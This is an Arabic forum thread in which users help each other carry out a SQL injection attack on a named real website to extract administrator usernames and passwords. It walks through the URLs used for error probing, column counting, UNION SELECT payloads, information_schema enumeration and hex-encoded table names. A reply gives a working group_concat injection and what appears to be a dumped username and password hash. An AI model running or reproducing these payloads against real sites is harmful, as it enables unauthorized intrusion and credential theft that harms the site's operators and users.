واجهتني مشكلة في استخراج اليوزر والباس بعد الحقن في هذا الموقع

السلام عليكم ايها الاحبة

اليوم كان لي اول موقع اطبق فيه دورة الحقن المتقدم للمبدع الاخ نورالدين

وطبقت في هالموقع ونجحت بفضل الله ومن ثم بفضل الاخ نورالدين ووصلت الى اسم الجدول ولكن

في المرحلة الاخيرة لاستخراج اليوزر والباس

لم استطع اظهارهما

فاجوا من الاخوة المساعده والتفصيل في سبب عدم ظهورهما في المرحلة النهائية



http://varsitycampus.com/results/sin...st.php?id=1289' UNION /*!SELECT*/+1,2,group_concat(users,0x3a,username),4,5,6,7,8,9 ,10+from+varsityc_db1.users-- -

تفضل
طريقتك مو صحيحه وهاذيك الطريقه تنعمل لما تكون اكثر من قاعده والاستعلام مو متثل ماانت كاتبه

تفضل الحقنه

انسخ كل شيء وحطه بالمتصفح

انسخ كل الحقنه وراح يضهر
اليوزر والباس
snayeem375d93117c5c761b1cfba4c47f285074

حياك الله ايها المكرم وبارك الله في مسعاك

لكن اخي لم تظهر اليوزر والباس

ما زالت المشكله

سوف اشرح اخي الكريم الطريقه التى اتبعتها

http://varsitycampus.com/admission/s...php?id=1466%27

ظهر الموقع مصاب

ومن ثم اظهار عدد الاعمدة المصابة:

http://varsitycampus.com/admission/s...st.php?id=1466' order by 10-- -

عدد الاعمدة المصابة = 10

ومن ثم اظهرت العمود المصاب من خلال هذا الامر:

http://varsitycampus.com/admission/s...st.php?id=1466' UNION /*!SELECT*/ 1,2,3,4,5,6,7,8,9,10-- -

ومن ثم اظهرت اصدار القاعدة :

http://varsitycampus.com/admission/s...st.php?id=1466' UNION /*!SELECT*/ 1,2,version(),4,5,6,7,8,9,10-- -

5.5.21-55


,ومن ثم استخرجت اسم القاعدة:

http://varsitycampus.com/admission/s...st.php?id=1466' UNION /*!SELECT*/ 1,2,database(),4,5,6,7,8,9,10-- -

varsityc_db1


ومن ثم استعملت هذا الامر حتى استخرج معلومات السيكما:

http://varsitycampus.com/admission/s...st.php?id=1466' UNION /*!SELECT*/ 1,2,/*!concat*/(table_name,0x3a,column_name,0x3a,table_schema),4, 5,6,7,8,9,10+from+information_schema.columns-- -

CHARACTER_SETS:CHARACTER_SET_NAME:information_sche ma



ومن ثم استخرجت اسم الجدول:

http://varsitycampus.com/admission/s...st.php?id=1466' UNION /*!SELECT*/ 1,2,/*!concat*/(table_name,0x3a,column_name,0x3a,table_schema),4, 5,6,7,8,9,10+from+information_schema.columns+where +column_name+LIKE+CHAR(37, 112, 97, 115, 115, 37)-- -

ظهر لي جدولين..السؤال اي واحد اخذ

users:password:varsityc_db1



wallusers:mem_pass:varsityc_db1


ومن ثم شفرت اسم الجدول اللي هو users

,وعملت هذا الامر:

0x7573657273

http://varsitycampus.com/admission/s...st.php?id=1466' UNION /*!SELECT*/ 1,2,/*!concat*/(table_name,0x3a,column_name,0x3a,table_schema),4, 5,6,7,8,9,10+from+information_schema.columns+where +table_name=0x7573657273-- -

ظهرت لي هذه المعلومات..

HSC Admission 2012 -13 session Rules & Procedure users:id:varsityc_db1

اشكرك اخي الحبيب بس ليش ما تظهر لي اليوزر والباس

قهرررررررررررررررررررررر

هل للبروكسي له تأثر

اخي الكريم السؤال ايضا:

عندما دخلت الى

login

ظهر لي

email & password

وانت ظهر عندك اليوزر وليس الايميل